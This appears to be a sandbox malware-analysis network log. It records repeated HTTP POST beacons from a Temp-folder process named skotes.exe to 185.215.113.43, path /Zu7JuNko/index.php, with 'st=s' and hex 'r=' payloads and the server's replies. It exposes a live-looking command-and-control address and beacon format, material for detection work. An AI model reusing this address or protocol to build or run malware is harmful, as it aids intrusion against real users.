Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.6	65456	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:44:24.967041016 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 04:44:25.867651939 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:44:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.6	65458	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:44:27.381650925 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 18, 2024 04:44:28.286637068 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:44:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.6	65461	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:44:29.916115046 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 04:44:30.816567898 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:44:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.6	65462	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:44:32.330117941 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 18, 2024 04:44:33.247025013 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:44:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.6	65471	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:44:34.886132956 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.6	65472	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:44:36.417860031 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 18, 2024 04:44:37.328885078 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:44:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.6	65473	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:44:38.953159094 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 04:44:39.854455948 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:44:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.6	65474	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:44:41.367644072 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 18, 2024 04:44:42.263667107 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:44:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.6	65475	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:44:43.885273933 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 04:44:44.790426970 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:44:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.6	65476	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:44:46.318978071 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 18, 2024 04:44:47.245836973 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:44:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.6	65477	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:44:48.874330044 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 04:44:49.795867920 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:44:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.6	65478	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:44:51.308003902 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 18, 2024 04:44:52.202084064 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:44:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.6	65480	185.215.113.43	80	6748	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:44:53.823524952 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 04:44:54.719101906 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:44:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.6	65481	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:44:56.236331940 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 18, 2024 04:44:57.141644001 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:44:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.6	65482	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:44:58.776664972 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 04:44:59.700324059 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:44:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.6	65483	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:45:01.209755898 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 18, 2024 04:45:02.122917891 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:45:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.6	65484	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:45:03.745157003 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 04:45:04.654169083 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:45:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.6	65485	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:45:06.178894997 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.6	65486	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:45:08.249639034 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 04:45:09.172071934 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:45:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.6	65487	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:45:10.703277111 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 18, 2024 04:45:11.655494928 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:45:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.6	65488	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:45:13.276853085 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 04:45:14.186532021 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:45:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.6	65489	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:45:15.711086988 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 18, 2024 04:45:16.660186052 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:45:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.6	65490	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:45:18.285166979 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 04:45:19.194881916 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:45:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.6	65491	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:45:20.718225002 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
